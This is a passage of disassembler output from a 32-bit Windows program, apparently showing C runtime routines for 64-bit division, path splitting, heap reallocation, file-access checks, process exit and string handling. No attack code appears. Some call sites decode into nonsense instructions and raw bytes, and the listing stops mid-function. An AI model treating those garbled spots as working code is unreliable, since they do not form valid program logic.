sub_412110	proc near		; CODE XREF: sub_408306+3Fp
					; sub_412BCC+5C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_412132
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_412173
; ---------------------------------------------------------------------------


loc_412132:				; CODE XREF: sub_412110+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_412140:				; CODE XREF: sub_412110+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_412140
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41216E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41216E
		jb	short loc_41216F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41216F


loc_41216E:				; CODE XREF: sub_412110+4Ej
					; sub_412110+54j
		dec	esi


loc_41216F:				; CODE XREF: sub_412110+56j
					; sub_412110+5Cj
		xor	edx, edx
		mov	eax, esi


loc_412173:				; CODE XREF: sub_412110+20j
		pop	esi
		pop	ebx
		retn	10h
sub_412110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412178	proc near		; CODE XREF: seg000:00408874p
					; seg000:0040D348p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_410A70
		cmp	eax, 1
		pop	ecx
		jb	short loc_4121B3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4121B3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4121AF
		push	2
		push	ebx
		push	esi
		call	sub_417128
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_4121AF:				; CODE XREF: sub_412178+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4121BD
; ---------------------------------------------------------------------------


loc_4121B3:				; CODE XREF: sub_412178+18j
					; sub_412178+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4121BD
		and	byte ptr [eax],	0


loc_4121BD:				; CODE XREF: sub_412178+39j
					; sub_412178+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_412235


loc_4121D0:				; CODE XREF: sub_412178+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_460061[edx], 4
		jz	short loc_4121E1
		inc	eax
		jmp	short loc_4121FB
; ---------------------------------------------------------------------------


loc_4121E1:				; CODE XREF: sub_412178+64j
		cmp	cl, 2Fh
		jz	short loc_4121F5
		cmp	cl, 5Ch
		jz	short loc_4121F5
		cmp	cl, 2Eh
		jnz	short loc_4121FB
		mov	[ebp+var_4], eax
		jmp	short loc_4121FB
; ---------------------------------------------------------------------------


loc_4121F5:				; CODE XREF: sub_412178+6Cj
					; sub_412178+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_4121FB:				; CODE XREF: sub_412178+67j
					; sub_412178+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4121D0
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_412235
		cmp	[ebp+arg_8], 0
		jz	short loc_412230
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_412219
		mov	edi, esi


loc_412219:				; CODE XREF: sub_412178+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_417128
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_412230:				; CODE XREF: sub_412178+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41223F
; ---------------------------------------------------------------------------


loc_412235:				; CODE XREF: sub_412178+56j
					; sub_412178+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41223F
		and	byte ptr [ecx],	0


loc_41223F:				; CODE XREF: sub_412178+BBj
					; sub_412178+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_412292
		cmp	edi, ebx
		jb	short loc_412292
		cmp	[ebp+arg_C], 0
		jz	short loc_41226F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_412258
		mov	edi, esi


loc_412258:				; CODE XREF: sub_412178+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_417128
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41226F:				; CODE XREF: sub_412178+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4122BA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41227F
		mov	esi, eax


loc_41227F:				; CODE XREF: sub_412178+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_417128
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4122BA
; ---------------------------------------------------------------------------


loc_412292:				; CODE XREF: sub_412178+CCj
					; sub_412178+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4122B0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4122A1
		mov	esi, eax


loc_4122A1:				; CODE XREF: sub_412178+125j
		push	esi
		push	ebx
		push	edi
		call	sub_417128
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_4122B0:				; CODE XREF: sub_412178+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4122BA
		and	byte ptr [eax],	0


loc_4122BA:				; CODE XREF: sub_412178+FCj
					; sub_412178+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4122BF	proc near		; CODE XREF: sub_407B25+19p
					; sub_40DF6C+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_412BCC
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4122FD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41230A
; ---------------------------------------------------------------------------


loc_4122FD:				; CODE XREF: sub_4122BF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_412AB7
		pop	ecx
		pop	ecx


loc_41230A:				; CODE XREF: sub_4122BF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4122BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41230F	proc near		; CODE XREF: sub_407D6B+2Ep
					; sub_4114F3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_41232A
		push	[esp+10h+arg_4]
		call	sub_410AEB
		pop	ecx
		jmp	loc_41242A
; ---------------------------------------------------------------------------


loc_41232A:				; CODE XREF: sub_41230F+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_412340
		push	ebx
		call	sub_410B5F
		pop	ecx


loc_412339:				; CODE XREF: sub_41230F+114j
		xor	eax, eax
		jmp	loc_41242A
; ---------------------------------------------------------------------------


loc_412340:				; CODE XREF: sub_41230F+21j
					; sub_41230F+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41240B
		push	ebx
		call	sub_4134E0
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_4123E8
		cmp	esi, ds:dword_42DA3C
		ja	short loc_4123A8
		push	esi
		push	ebx
		push	ebp
		call	sub_413CEB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412377
		mov	edi, ebx
		jmp	short loc_4123A0
; ---------------------------------------------------------------------------


loc_412377:				; CODE XREF: sub_41230F+62j
		push	esi
		call	sub_413836
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4123A8
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41238E
		mov	eax, esi


loc_41238E:				; CODE XREF: sub_41230F+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_410510
		push	ebx
		push	ebp
		call	sub_41350B
		add	esp, 14h


loc_4123A0:				; CODE XREF: sub_41230F+66j
		test	edi, edi
		jnz	loc_412428


loc_4123A8:				; CODE XREF: sub_41230F+53j
					; sub_41230F+73j
		test	esi, esi
		jnz	short loc_4123AF
		push	1
		pop	esi


loc_4123AF:				; CODE XREF: sub_41230F+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_460180
		call	ds:dword_41C140	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41240B
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4123D4
		mov	eax, esi


loc_4123D4:				; CODE XREF: sub_41230F+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_410510
		push	ebx
		push	ebp
		call	sub_41350B
		add	esp, 14h
		jmp	short loc_412407
; ---------------------------------------------------------------------------


loc_4123E8:				; CODE XREF: sub_41230F+47j
		test	esi, esi
		jnz	short loc_4123EF
		push	1
		pop	esi


loc_4123EF:				; CODE XREF: sub_41230F+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	ds:dword_460180
		call	ds:dword_41C154	; RtlReAllocateHeap
		mov	edi, eax


loc_412407:				; CODE XREF: sub_41230F+D7j
		test	edi, edi
		jnz	short loc_412428


loc_41240B:				; CODE XREF: sub_41230F+36j
					; sub_41230F+B9j
		cmp	ds:dword_45EB6C, 0
		jz	short loc_412428
		push	esi
		call	sub_41344B
		test	eax, eax
		pop	ecx
		jnz	loc_412340
		jmp	loc_412339
; ---------------------------------------------------------------------------


loc_412428:				; CODE XREF: sub_41230F+93j
					; sub_41230F+FAj ...
		mov	eax, edi


loc_41242A:				; CODE XREF: sub_41230F+16j
					; sub_41230F+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41230F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41242F	proc near		; CODE XREF: sub_4082EC+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_41C074	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41244F
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		call	sub_4171B2
		pop	ecx


loc_41244B:				; CODE XREF: sub_41242F+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41244F:				; CODE XREF: sub_41242F+Dj
		test	al, 1
		jz	short loc_412470
		test	[esp+arg_4], 2
		jz	short loc_412470
		mov	ds:dword_45EB14, 0Dh
		mov	ds:dword_45EB18, 5
		jmp	short loc_41244B
; ---------------------------------------------------------------------------


loc_412470:				; CODE XREF: sub_41242F+22j
					; sub_41242F+29j
		xor	eax, eax
		retn
sub_41242F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412480	proc near		; CODE XREF: sub_408416+5Fp
					; sub_408416+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_4124A1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_4124A1:				; CODE XREF: sub_412480+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_4124BD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_4124BD:				; CODE XREF: sub_412480+27j
		or	eax, eax
		jnz	short loc_4124D9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41251A
; ---------------------------------------------------------------------------


loc_4124D9:				; CODE XREF: sub_412480+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4124E7:				; CODE XREF: sub_412480+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4124E7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_412515
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_412515
		jb	short loc_412516
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_412516


loc_412515:				; CODE XREF: sub_412480+85j
					; sub_412480+8Bj
		dec	esi


loc_412516:				; CODE XREF: sub_412480+8Dj
					; sub_412480+93j
		xor	edx, edx
		mov	eax, esi


loc_41251A:				; CODE XREF: sub_412480+57j
		dec	edi
		jnz	short loc_412524
		neg	edx
		neg	eax
		sbb	edx, 0


loc_412524:				; CODE XREF: sub_412480+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_412480	endp

; ---------------------------------------------------------------------------
		db 0A1h	; 
		db 0ECh	; 
		db 0D7h	; 
		db  42h	; B
		db    0
		db  85h	; 
		db 0C0h	; 
		db  74h	; t
		db    2
		db 0FFh
		db 0D0h	; 
		db  68h	; h
		db  24h	; $
		db 0E0h	; 
		db  41h	; A
		db    0
		db  68h	; h
		db  10h
		db 0E0h	; 
		db  41h	; A
		db    0
		db 0E8h	; 
		db 0CEh	; 
		db    0
		db    0
		db    0
		db  68h	; h
		db  0Ch
		db 0E0h	; 
		db  41h	; A
		db    0
		db  68h	; h
		db    0
		db 0E0h	; 
		db  41h	; A
		db    0
		db 0E8h	; 
		db 0BFh	; 
		db    0
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  10h
		db 0C3h	; 
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_412579
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_412568	proc near		; CODE XREF: sub_412A6E+1Cp
					; sub_41891C+2Ap ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_412579
		add	esp, 0Ch
		retn
sub_412568	endp


; =============== S U B	R O U T	I N E =======================================



sub_412579	proc near		; CODE XREF: seg000:0041255Fp
					; sub_412568+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_45EB5C, edi
		jnz	short loc_412596
		push	[esp+4+arg_0]
		call	near ptr 0A70000h
		cmp	eax, 0DA6BE850h
		db	65h
		add	bh, dl


loc_412596:				; CODE XREF: sub_412579+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	ds:dword_45EB58, edi
		mov	ds:byte_45EB54,	bl
		jnz	short loc_4125EA
		mov	eax, ds:dword_460194
		test	eax, eax
		jz	short loc_4125D9
		mov	ecx, ds:dword_460190
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4125D8


loc_4125C5:				; CODE XREF: sub_412579+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4125CD
		call	eax


loc_4125CD:				; CODE XREF: sub_412579+50j
		sub	esi, 4
		cmp	esi, ds:dword_460194
		jnb	short loc_4125C5


loc_4125D8:				; CODE XREF: sub_412579+4Aj
		pop	esi


loc_4125D9:				; CODE XREF: sub_412579+3Cj
		push	offset dword_41E030
		push	offset dword_41E028
		call	sub_412612
		pop	ecx
		pop	ecx


loc_4125EA:				; CODE XREF: sub_412579+33j
		push	offset dword_41E03C
		push	offset dword_41E034
		call	sub_412612
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_412610
		push	[esp+4+arg_0]
		mov	ds:dword_45EB5C, edi
		call	ds:dword_41C104	; ExitProcess


loc_412610:				; CODE XREF: sub_412579+85j
		pop	edi
		retn
sub_412579	endp


; =============== S U B	R O U T	I N E =======================================



sub_412612	proc near		; CODE XREF: sub_412579+6Ap
					; sub_412579+7Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_412617:				; CODE XREF: sub_412612+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41262A
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_412625
		call	eax


loc_412625:				; CODE XREF: sub_412612+Fj
		add	esi, 4
		jmp	short loc_412617
; ---------------------------------------------------------------------------


loc_41262A:				; CODE XREF: sub_412612+9j
		pop	esi
		retn
sub_412612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41262C	proc near		; CODE XREF: seg000:0040C9B8p
					; seg000:0040C9E7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_412640
		xor	eax, eax
		jmp	short loc_412676
; ---------------------------------------------------------------------------


loc_412640:				; CODE XREF: sub_41262C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_412670
		mov	esi, [ebp+arg_8]


loc_412649:				; CODE XREF: sub_41262C+42j
		dec	dword ptr [esi+4]
		js	short loc_412658
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41265F
; ---------------------------------------------------------------------------


loc_412658:				; CODE XREF: sub_41262C+20j
		push	esi
		call	sub_41647B
		pop	ecx


loc_41265F:				; CODE XREF: sub_41262C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41267A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_412670
		dec	[ebp+arg_4]
		jnz	short loc_412649


loc_412670:				; CODE XREF: sub_41262C+18j
					; sub_41262C+3Dj ...
		and	byte ptr [edi],	0


loc_412673:				; CODE XREF: sub_41262C+55j
		mov	eax, ebx
		pop	esi


loc_412676:				; CODE XREF: sub_41262C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41267A:				; CODE XREF: sub_41262C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_412670
		xor	ebx, ebx
		jmp	short loc_412673
sub_41262C	endp


; =============== S U B	R O U T	I N E =======================================



sub_412683	proc near		; CODE XREF: seg000:0040B270p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 0A70000h
		inc	eax
		test	eax, eax
		jnz	short loc_412699
		call	ds:dword_41C060	; RtlGetLastWin32Error
		jmp	short loc_41269B
; ---------------------------------------------------------------------------


loc_412699:				; CODE XREF: sub_412683+Cj
		xor	eax, eax


loc_41269B:				; CODE XREF: sub_412683+14j
		test	eax, eax
		jz	short loc_4126AA
		push	eax
		call	sub_4171B2
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4126AA:				; CODE XREF: sub_412683+1Aj
		xor	eax, eax
		retn
sub_412683	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4126AD	proc near		; CODE XREF: seg000:0040B1C7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417219
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BCC
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4172A6
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4126AD	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_4126F0


loc_4126E0:				; CODE XREF: sub_4126F0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_4126F0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4126F0	proc near		; CODE XREF: seg000:00409352p
					; seg000:004093F9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 004126E0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_4126F6:				; CODE XREF: sub_4109F0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41271B


loc_412708:				; CODE XREF: sub_4126F0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_4126E0
		test	cl, cl
		jz	short loc_412764
		test	edx, 3
		jnz	short loc_412708


loc_41271B:				; CODE XREF: sub_4126F0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_412726:				; CODE XREF: sub_4126F0+61j
					; sub_4126F0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_412768
		and	eax, 81010100h
		jz	short loc_412726
		and	eax, 1010100h
		jnz	short loc_412762
		and	esi, 80000000h
		jnz	short loc_412726


loc_412762:				; CODE XREF: sub_4126F0+68j
					; sub_4126F0+81j ...
		pop	esi
		pop	edi


loc_412764:				; CODE XREF: sub_4126F0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_412768:				; CODE XREF: sub_4126F0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_4127A5
		test	al, al
		jz	short loc_412762
		cmp	ah, bl
		jz	short loc_41279E
		test	ah, ah
		jz	short loc_412762
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_412797
		test	al, al
		jz	short loc_412762
		cmp	ah, bl
		jz	short loc_412790
		test	ah, ah
		jz	short loc_412762
		jmp	short loc_412726
; ---------------------------------------------------------------------------


loc_412790:				; CODE XREF: sub_4126F0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_412797:				; CODE XREF: sub_4126F0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41279E:				; CODE XREF: sub_4126F0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4127A5:				; CODE XREF: sub_4126F0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_4126F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_4127FC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_4127FD
		test	eax, 1
		jz	short loc_4127DD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41282A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_4127FA


loc_4127DD:				; CODE XREF: seg000:004127D0j
					; seg000:004127F8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41282A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41282A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_4127DD


loc_4127FA:				; CODE XREF: seg000:004127DBj
					; seg000:00412834j
		pop	edi
		pop	esi

locret_4127FC:				; CODE XREF: seg000:004127B6j
		retn
; ---------------------------------------------------------------------------


loc_4127FD:				; CODE XREF: seg000:004127C9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_412832
		repe cmpsd
		jz	short loc_412832
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_412825
		cmp	ch, dh
		jnz	short loc_412825
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_412825
		cmp	ch, dh


loc_412825:				; CODE XREF: seg000:00412813j
					; seg000:00412817j ...
		mov	eax, 0


loc_41282A:				; CODE XREF: seg000:004127D6j
					; seg000:004127E3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412832:				; CODE XREF: seg000:00412805j
					; seg000:00412809j
		test	eax, eax
		jz	short loc_4127FA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_412825
		dec	eax
		jz	short loc_412859
		cmp	dh, ch
		jnz	short loc_412825
		dec	eax
		jz	short loc_412859
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_412825
		dec	eax


loc_412859:				; CODE XREF: seg000:0041283Fj
					; seg000:00412846j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41285C	proc near		; CODE XREF: sub_40EF0F+55p
					; sub_40F920+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_412873


loc_412869:				; CODE XREF: sub_41285C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_412869


loc_412873:				; CODE XREF: sub_41285C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41285C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412879	proc near		; CODE XREF: sub_40EF0F+19p
					; sub_40EF0F+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_412946
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_412973
		cmp	ds:dword_45EBA0, esi
		jnz	short loc_4128CA
		cmp	edi, esi
		jbe	loc_412973


loc_4128A9:				; CODE XREF: sub_412879+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_412973
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4128A9
		jmp	loc_412973
; ---------------------------------------------------------------------------


loc_4128CA:				; CODE XREF: sub_412879+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_41C12C
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_45EBB0
		call	esi ; dword_41C12C
		test	eax, eax
		jnz	loc_412972
		call	ds:dword_41C060	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_412904


loc_4128F5:				; CODE XREF: sub_412879+CBj
					; sub_412879+F7j
		mov	ds:dword_45EB14, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_412973
; ---------------------------------------------------------------------------


loc_412904:				; CODE XREF: sub_412879+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41290C:				; CODE XREF: sub_412879+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41292E
		mov	edx, ds:off_42D820
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_412923
		inc	eax


